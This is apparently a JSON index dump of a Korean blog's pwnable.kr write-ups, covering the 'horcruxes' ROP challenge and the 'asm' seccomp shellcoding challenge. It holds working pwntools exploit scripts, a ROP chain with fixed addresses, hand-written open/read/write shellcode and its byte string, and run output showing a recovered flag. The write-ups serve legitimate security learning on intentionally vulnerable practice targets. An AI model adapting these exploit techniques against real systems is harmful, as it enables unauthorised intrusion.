전역변수를 exp 취급하여 출력합니다.\nint A() { return printf(\u0026#34;You found \\\u0026#34;Tom Riddle\u0026#39;s Diary\\\u0026#34; (EXP +%d)\\n\u0026#34;, a); } int B() { return printf(\u0026#34;You found \\\u0026#34;Marvolo Gaunt\u0026#39;s Ring\\\u0026#34; (EXP +%d)\\n\u0026#34;, b); } ...동일 패턴... 여기까지 왔다면 거의 다 푼것이나 마찬가지입니다.\nropme() 의 ret 를 A() ~ G() 의 주소로 체이닝 해주면 a~g 전역변수를 출력하게 됩니다. 출력된 정규식으로 뽑아내어 전체 값을 더하면 sum 의 값을 알 수 있습니다.\nFUNC SEGMENT START LENGTH LOCAL ARGUMENT A .text 0809FE4B 0000001F 0000000C 00000000 B .text 0809FE6A 0000001F 0000000C 00000000 C .text 0809FE89 0000001F 0000000C 00000000 D .text 0809FEA8 0000001F 0000000C 00000000 E .text 0809FEC7 0000001F 0000000C 00000000 F .text 0809FEE6 0000001F 0000000C 00000000 G .text 0809FF05 0000001F 0000000C 00000000 이후에 ropme() 를 한번 더 호출해서 알아낸 sum 값을 넣어주기만 하면 문제가 풀릴것으로 예상이 됩니다.\n그런데 페이로드에 ropme() 주소를 전달하는 과정에서 문제가 생겼습니다.\nropme() 의 주소는 0x080A0009 인데, 입력을 받는 gets() 는 입력값에 0x0a 가 포함된 경우 EOL 로 판단하기 때문에 이 값이 들어가는 주소는 페이로드에 넣을 수 없습니다.\nandrew@ubuntu:~/fun/writeups/wargame/pwnablekr/horcruxes$ cat /proc/5413/maps 0809f000-080a1000 r-xp 00000000 08:01 1837777 /home/andrew/fun/writeups/wargame/pwnablekr/horcruxes/horcruxes 080a1000-080a2000 r--p 00001000 08:01 1837777 /home/andrew/fun/writeups/wargame/pwnablekr/horcruxes/horcruxes 080a2000-080a3000 rw-p 00002000 08:01 1837777 /home/andrew/fun/writeups/wargame/pwnablekr/horcruxes/horcruxes 메모리 맵을 확인해보니 대부분의 영역에는 0x0a 가 포함됩니다.\nropme() 를 재호출 하는 방법은 없을까요?\n다행이도 ropme() 를 호출하는 main() 쪽 주소는 0x0809FFFC 입니다. 0x0a 가 없으니 쓸 수 있습니다.\n이제 익스를 작성해보겠습니다!\nfrom pwn import * import re, time # context.update(arch=\u0026#34;i386\u0026#34;, os=\u0026#34;linux\u0026#34;, bits=\u0026#34;32\u0026#34;, log_level=\u0026#34;debug\u0026#34;) conn = connect(\u0026#34;0\u0026#34;, 9032) addr_A = 0x0809FE4B addr_B = 0x0809FE6A addr_C = 0x0809FE89 addr_D = 0x0809FEA8 addr_E = 0x0809FEC7 addr_F = 0x0809FEE6 addr_G = 0x0809FF05 call_ropme = 0x0809FFFC payload = \u0026#34;\\x90\u0026#34;*120 payload += p32(addr_A) payload += p32(addr_B) payload += p32(addr_C) payload += p32(addr_D) payload += p32(addr_E) payload += p32(addr_F) payload += p32(addr_G) payload += p32(call_ropme) conn.sendline(\u0026#34;1\u0026#34;) conn.sendline(payload) response = conn.recvrepeat(1.0) pattern = re.compile(r\u0026#34;\\+(-?\\d+)\u0026#34;) exp_list = pattern.findall(response) log.info(\u0026#34;exp_list: \u0026#34; + str(exp_list)) total_exp = sum(map(int, exp_list)) log.info(\u0026#34;total_exp: \u0026#34; + str(total_exp)) conn.sendline(\u0026#34;1\u0026#34;) conn.sendline(str(total_exp)) conn.interactive() ssh 접속해서 tmp 에 익스 파일 만들고 실행하면 됩니다.\nhorcruxes@ubuntu:~$ python2 /tmp/234234234.py [+] Opening connection to 0 on port 9032: Done [*] exp_list: [\u0026#39;1125745878\u0026#39;, \u0026#39;1804627037\u0026#39;, \u0026#39;722734381\u0026#39;, \u0026#39;-1952128979\u0026#39;, \u0026#39;1576604163\u0026#39;, \u0026#39;-1497485353\u0026#39;, \u0026#39;-979023603\u0026#39;] [*] total_exp: 801073524 [*] Switching to interactive mode How many EXP did you earned? : The_M4gic_sp3l1_is_Avada_Ked4vra [*] Got EOF while reading in interactive $ 읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2020-12-11-pwnable-kr-horcruxes-writeup/","summary":"\u003cp\u003e이번 문제는 소스가 제공되지 않습니다. 일단 현재 상황을 먼저 알아보겠습니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eVoldemort concealed his splitted soul inside \u003cspan class=\"m\"\u003e7\u003c/span\u003e horcruxes.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eFind all horcruxes, and ROP it!\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eauthor: jiwon choi\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003essh horcruxes@pwnable.kr -p2222 \u003cspan class=\"o\"\u003e(\u003c/span\u003epw:guest\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e====================================================\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ehorcruxes@pwnable:~$ cat ./readme\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003econnect to port \u003cspan class=\"m\"\u003e9032\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003enc \u003cspan class=\"m\"\u003e0\u003c/span\u003e 9032\u003cspan class=\"o\"\u003e)\u003c/span\u003e. the \u003cspan class=\"s1\"\u003e\u0026#39;horcruxes\u0026#39;\u003c/span\u003e binary will be executed under horcruxes_pwn privilege.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003erop it to \u003cspan class=\"nb\"\u003eread\u003c/span\u003e the flag.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ehorcruxes@pwnable:~$ file ./horcruxes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e./horcruxes: ELF 32-bit LSB executable, Intel 80386, version \u003cspan class=\"m\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003eSYSV\u003cspan class=\"o\"\u003e)\u003c/span\u003e, dynamically linked, interpreter /lib/ld-, \u003cspan class=\"k\"\u003efor\u003c/span\u003e GNU/Linux 2.6.32, BuildID\u003cspan class=\"o\"\u003e[\u003c/span\u003esha1\u003cspan class=\"o\"\u003e]=\u003c/span\u003ebed2c3c01d21a3cbb1109e76a83310dfb8a077be, not stripped\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ehorcruxes@pwnable:~$ checksec --file\u003cspan class=\"o\"\u003e=\u003c/span\u003e./horcruxes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003e*\u003cspan class=\"o\"\u003e]\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/home/horcruxes/horcruxes\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    Arch:     i386-32-little\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    RELRO:    Partial RELRO\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    Stack:    No canary found\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    NX:       NX enabled\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    PIE:      No PIE \u003cspan class=\"o\"\u003e(\u003c/span\u003e0x809f000\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003easm 문제처럼 주어진 바이너리는 분석용이고 실제 익스는 nc 를 통해 해야 하네요\u003c/p\u003e","title":"pwnable.kr horcruxes Writeup"},{"content":"이번 문제는 open, read, write, exit 시스템콜만으로 커스텀 쉘코드를 작성해서 flag 파일을 읽는것이 목표입니다. seccomp 우회라고 볼 수 있겠네요.\n/* Mommy! I think I know how to make shellcodes ssh asm@pwnable.kr -p2222 (pw: guest) =========================================================== asm@ubuntu:~$ checksec --file ./asm [*] \u0026#39;/home/asm/asm\u0026#39; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;sys/mman.h\u0026gt; #include \u0026lt;seccomp.h\u0026gt; #include \u0026lt;sys/prctl.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #define LENGTH 128 void sandbox() { scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf(\u0026#34;seccomp error\\n\u0026#34;); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); if (seccomp_load(ctx) \u0026lt; 0) { seccomp_release(ctx); printf(\u0026#34;seccomp error\\n\u0026#34;); exit(0); } seccomp_release(ctx); } char stub[] = \u0026#34;\\x48\\x31\\xc0\\x48\\x31\\xdb\\x48\\x31\\xc9\\x48\\x31\\xd2\\x48\\x31\\xf6\\x48\\x31\\xff\\x48\\x31\\xed\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x4d\\x31\\xd2\\x4d\\x31\\xdb\\x4d\\x31\\xe4\\x4d\\x31\\xed\\x4d\\x31\\xf6\\x4d\\x31\\xff\u0026#34;; unsigned char filter[256]; int main(int argc, char * argv[]) { setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf(\u0026#34;Welcome to shellcoding practice challenge.\\n\u0026#34;); printf(\u0026#34;In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\\n\u0026#34;); printf(\u0026#34;Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\\n\u0026#34;); printf(\u0026#34;If this does not challenge you. you should play \u0026#39;asg\u0026#39; challenge :)\\n\u0026#34;); char *sh = (char *) mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf(\u0026#34;give me your x64 shellcode: \u0026#34;); read(0, sh + offset, 1000); alarm(10); chroot(\u0026#34;/home/asm_pwn\u0026#34;); // you are in chroot jail. so you can\u0026#39;t use symlink in /tmp sandbox(); ((void(*)(void))sh)(); return 0; } 바이너리에 setgid 가 걸려있지 않아 readme 를 읽어봤더니 현재 asm, asm.c 는 분석용이고 권한상승 후 플래그를 얻으려면 nc 0 9026 에 페이로드를 전달해야 한다고 합니다.\nasm@pwnable:~$ cat ./readme once you connect to port 9026, the \u0026#34;asm\u0026#34; binary will be executed under asm_pwn privilege. make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory) 코드를 분석해보겠습니다. 일단 stub 에 넘어간 opcode 가 무엇을 의미할까요?\n00000000002020c0 \u0026lt;stub\u0026gt;: 2020c0: 48 31 c0 xor %rax,%rax 2020c3: 48 31 db xor %rbx,%rbx 2020c6: 48 31 c9 xor %rcx,%rcx 2020c9: 48 31 d2 xor %rdx,%rdx 2020cc: 48 31 f6 xor %rsi,%rsi 2020cf: 48 31 ff xor %rdi,%rdi 2020d2: 48 31 ed xor %rbp,%rbp 2020d5: 4d 31 c0 xor %r8,%r8 2020d8: 4d 31 c9 xor %r9,%r9 2020db: 4d 31 d2 xor %r10,%r10 2020de: 4d 31 db xor %r11,%r11 2020e1: 4d 31 e4 xor %r12,%r12 2020e4: 4d 31 ed xor %r13,%r13 2020e7: 4d 31 f6 xor %r14,%r14 2020ea: 4d 31 ff xor %r15,%r15 거의 모든 레지스터들을 0으로 초기화 하는 opcode 였네요.\n그 아래선 mmap() 으로 0x41414000 주소에 0x1000 사이즈만큼 쉘코드를 저장하고 실행할 수 있는 메모리 영역을 할당합니다.\nchar* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); /* gdb-peda$ vmmap Start End Perm Name 0x41414000 0x41415000 rwxp mapped */ 여기에 앞서 본 stub 이 맨 앞에 배치되고 입력받은 쉘코드를 뒤에 추가한 뒤 실행하게 됩니다.\n다만 seccomp 필터에 따라 open, read, write, exit 시스템 콜만 호출 가능합니다.\n그림으로 보면 이렇게 됩니다. 입력 길이(1000)를 전체 길이(0x1000)와 헷갈리시면 안됩니다.\n이제 쉘코드를 작성해야하는데 실제 flag의 파일명은 엄청 깁니다. 쉘코드 내에 모두 표현해야하는데 1바이트라도 틀리면 플래그를 읽을 수 없습니다.\n또, chroot(“/home/asm_pwn”); 로 인해 /tmp 에 플래그 파일에 대한 심볼릭 링크도 생성이 안됩니다.\n그러니 짧은 이름을 가진 파일을 만든 뒤 쉘코드를 작성해서 읽기 테스트를 먼저 해보겠습니다.\nandrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ cat ./test abcd andrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ cat ./sh.a global start start: mov al, 0x02 ; sys_open push rdi ; 0x00 mov rdi, 0x747365742f2e2f2e ; ./test push rdi mov rdi, rsp ; const char *filename xor rsi, rsi ; #define O_RDONLY 0x0000 syscall mov edi, eax ; unsigned int fd xor al, al ; sys_read mov rsi, rsp ; char *buf mov dl, 0x04 ; size_t count syscall mov al, 0x01 ; sys_write xor rdi, rdi ; stdout add rdi, 0x01 mov dl, 0x04 syscall mov al, 0x60 ; sys_exit xor rdi, rdi syscall andrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ ./sh abcdSegmentation fault (core dumped) andrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ 잘 작동하니까 이제 진짜 쉘코드를 작성해보겠습니다.\nandrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ cat ./sh.a global start start: mov al, 0x02 ; sys_open xor rdi, rdi push rdi mov rdi, qword \u0026#34;0o0o0ong\u0026#34; push rdi mov rdi, qword \u0026#34;0o0o0o0o\u0026#34; push rdi mov rdi, qword \u0026#34;00000000\u0026#34; push rdi mov rdi, qword \u0026#34;ooooo000\u0026#34; push rdi mov rdi, qword \u0026#34;oooooooo\u0026#34; push rdi mov rdi, qword \u0026#34;oooooooo\u0026#34; push rdi mov rdi, qword \u0026#34;000000oo\u0026#34; push rdi mov rdi, qword \u0026#34;00000000\u0026#34; push rdi mov rdi, qword \u0026#34;00000000\u0026#34; push rdi mov rdi, qword \u0026#34;ooooo000\u0026#34; push rdi mov rdi, qword \u0026#34;oooooooo\u0026#34; push rdi mov rdi, qword \u0026#34;oooooooo\u0026#34; push rdi mov rdi, qword \u0026#34;oooooooo\u0026#34; push rdi mov rdi, qword \u0026#34;oooooooo\u0026#34; push rdi mov rdi, qword \u0026#34;oooooooo\u0026#34; push rdi mov rdi, qword \u0026#34;oooooooo\u0026#34; push rdi mov rdi, qword \u0026#34;oooooooo\u0026#34; push rdi mov rdi, qword \u0026#34;oooooooo\u0026#34; push rdi mov rdi, qword \u0026#34;looooooo\u0026#34; push rdi mov rdi, qword \u0026#34;is_very_\u0026#34; push rdi mov rdi, qword \u0026#34;le_name_\u0026#34; push rdi mov rdi, qword \u0026#34;y_the_fi\u0026#34; push rdi mov rdi, qword \u0026#34;ile.sorr\u0026#34; push rdi mov rdi, qword \u0026#34;d_this_f\u0026#34; push rdi mov rdi, qword \u0026#34;ease_rea\u0026#34; push rdi mov rdi, qword \u0026#34;_file_pl\u0026#34; push rdi mov rdi, qword \u0026#34;.kr_flag\u0026#34; push rdi mov rdi, qword \u0026#34;_pwnable\u0026#34; push rdi mov rdi, qword \u0026#34;/this_is\u0026#34; push rdi mov rdi, qword \u0026#34;././././\u0026#34; push rdi mov rdi, rsp; const char *filename xor rsi, rsi ; #define O_RDONLY 0x0000 syscall mov edi, eax ; unsigned int fd xor al, al ; sys_read mov rsi, rsp ; char *buf mov dl, 0x64; size_t count syscall mov al, 0x01 ; sys_write xor rdi, rdi ; stdout add rdi, 0x01 syscall mov al, 0x60 ; sys_exit xor rdi, rdi syscall 이제 opcode 를 추출한 뒤 nc 로 보내야 하는데, 이게 손으로 옮겨 적기엔 좀 깁니다.\n어떤 분이 objdump 로 쉘코드 뽑는 방법을 공유해놓으셔서 그걸 사용했습니다.\nhttps://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump\nandrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ objdump -d ./sh | grep -Po \u0026#39;\\s\\K[a-f0-9]{2}(?=\\s)\u0026#39; | sed \u0026#39;s/^/\\\\x/g\u0026#39; | perl -pe \u0026#39;s/\\r?\\n//\u0026#39; | sed \u0026#39;s/$/\\n/\u0026#39; \\xb0\\x02\\x48\\x31\\xff\\x57\\x48\\xbf\\x30\\x6f\\x30\\x6f\\x30\\x6f\\x6e\\x67\\x57\\x48\\xbf\\x30\\x6f\\x30\\x6f\\x30\\x6f\\x30\\x6f\\x57\\x48\\xbf\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x30\\x30\\x30\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x30\\x30\\x30\\x30\\x30\\x30\\x6f\\x6f\\x57\\x48\\xbf\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x57\\x48\\xbf\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x30\\x30\\x30\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6c\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x69\\x73\\x5f\\x76\\x65\\x72\\x79\\x5f\\x57\\x48\\xbf\\x6c\\x65\\x5f\\x6e\\x61\\x6d\\x65\\x5f\\x57\\x48\\xbf\\x79\\x5f\\x74\\x68\\x65\\x5f\\x66\\x69\\x57\\x48\\xbf\\x69\\x6c\\x65\\x2e\\x73\\x6f\\x72\\x72\\x57\\x48\\xbf\\x64\\x5f\\x74\\x68\\x69\\x73\\x5f\\x66\\x57\\x48\\xbf\\x65\\x61\\x73\\x65\\x5f\\x72\\x65\\x61\\x57\\x48\\xbf\\x5f\\x66\\x69\\x6c\\x65\\x5f\\x70\\x6c\\x57\\x48\\xbf\\x2e\\x6b\\x72\\x5f\\x66\\x6c\\x61\\x67\\x57\\x48\\xbf\\x5f\\x70\\x77\\x6e\\x61\\x62\\x6c\\x65\\x57\\x48\\xbf\\x2f\\x74\\x68\\x69\\x73\\x5f\\x69\\x73\\x57\\x48\\xbf\\x2e\\x2f\\x2e\\x2f\\x2e\\x2f\\x2e\\x2f\\x57\\x48\\x89\\xe7\\x48\\x31\\xf6\\x0f\\x05\\x89\\xc7\\x30\\xc0\\x48\\x89\\xe6\\xb2\\x64\\x0f\\x05\\xb0\\x01\\x48\\x31\\xff\\x48\\x83\\xc7\\x01\\x0f\\x05\\xb0\\x60\\x48\\x31\\xff\\x0f\\x05 쉘코드가 완성되었습니다. 이제 nc 로 보내서 플래그를 읽어보겠습니다.\n#!/usr/bin/env python3 from pwn import * context.update(arch=\u0026#34;amd64\u0026#34;, os=\u0026#34;linux\u0026#34;, bits=\u0026#34;64\u0026#34;) # file_name = \u0026#34;this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\u0026#34;+\u0026#34;\\x00\u0026#34; # v1 = [\u0026#34;\u0026#34;]*(int(len(file_name)/8)+8) # for v0 in range(int(len(file_name)/8)): # v1[v0] = p64(int((file_name[(v0*8):(v0+1)*8].encode(\u0026#34;ascii\u0026#34;)).hex(), 16)) # print(hexdump(v1)) shellcode=\u0026#34;\\xb0\\x02\\x48\\x31\\xff\\x57\\x48\\xbf\\x30\\x6f\\x30\\x6f\\x30\\x6f\\x6e\\x67\\x57\\x48\\xbf\\x30\\x6f\\x30\\x6f\\x30\\x6f\\x30\\x6f\\x57\\x48\\xbf\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x30\\x30\\x30\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x30\\x30\\x30\\x30\\x30\\x30\\x6f\\x6f\\x57\\x48\\xbf\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x57\\x48\\xbf\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x30\\x30\\x30\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x6c\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x6f\\x57\\x48\\xbf\\x69\\x73\\x5f\\x76\\x65\\x72\\x79\\x5f\\x57\\x48\\xbf\\x6c\\x65\\x5f\\x6e\\x61\\x6d\\x65\\x5f\\x57\\x48\\xbf\\x79\\x5f\\x74\\x68\\x65\\x5f\\x66\\x69\\x57\\x48\\xbf\\x69\\x6c\\x65\\x2e\\x73\\x6f\\x72\\x72\\x57\\x48\\xbf\\x64\\x5f\\x74\\x68\\x69\\x73\\x5f\\x66\\x57\\x48\\xbf\\x65\\x61\\x73\\x65\\x5f\\x72\\x65\\x61\\x57\\x48\\xbf\\x5f\\x66\\x69\\x6c\\x65\\x5f\\x70\\x6c\\x57\\x48\\xbf\\x2e\\x6b\\x72\\x5f\\x66\\x6c\\x61\\x67\\x57\\x48\\xbf\\x5f\\x70\\x77\\x6e\\x61\\x62\\x6c\\x65\\x57\\x48\\xbf\\x2f\\x74\\x68\\x69\\x73\\x5f\\x69\\x73\\x57\\x48\\xbf\\x2e\\x2f\\x2e\\x2f\\x2e\\x2f\\x2e\\x2f\\x57\\x48\\x89\\xe7\\x48\\x31\\xf6\\x0f\\x05\\x89\\xc7\\x30\\xc0\\x48\\x89\\xe6\\xb2\\x64\\x0f\\x05\\xb0\\x01\\x48\\x31\\xff\\x48\\x83\\xc7\\x01\\x0f\\x05\\xb0\\x60\\x48\\x31\\xff\\x0f\\x05\u0026#34; conn_ssh = ssh(host=\u0026#34;pwnable.kr\u0026#34;, port=2222, user=\u0026#34;asm\u0026#34;, password=\u0026#34;guest\u0026#34;) conn_nc = conn_ssh.remote(\u0026#34;pwnable.kr\u0026#34;, 9026) conn_nc.send(shellcode) print(conn_nc.recv(2024, timeout=0.5)) print(conn_nc.recv(2024, timeout=0.5)) 끝나고 다른 분들 풀이를 봤는데 대부분 pwntools shellcraft 로 저보다 간단히 푸셨더라구요\u0026hellip; 눈물\u0026hellip;\nshellcraft 는 다음 쉘코드 작성 문제가 또 나오면 한번 써보겠습니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2020-04-15-pwnable-kr-asm-writeup/","summary":"\u003cp\u003e이번 문제는 open, read, write, exit 시스템콜만으로 커스텀 쉘코드를 작성해서 flag 파일을 읽는것이 목표입니다. seccomp 우회라고 볼 수 있겠네요.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003eMommy! I think I know how to make shellcodes\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003essh asm@pwnable.kr -p2222 (pw: guest)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e===========================================================\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003easm@ubuntu:~$ checksec --file ./asm\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e[*] \u0026#39;/home/asm/asm\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    Arch:       amd64-64-little\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    RELRO:      Partial RELRO\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    Stack:      No canary found\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    NX:         NX enabled\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    PIE:        PIE 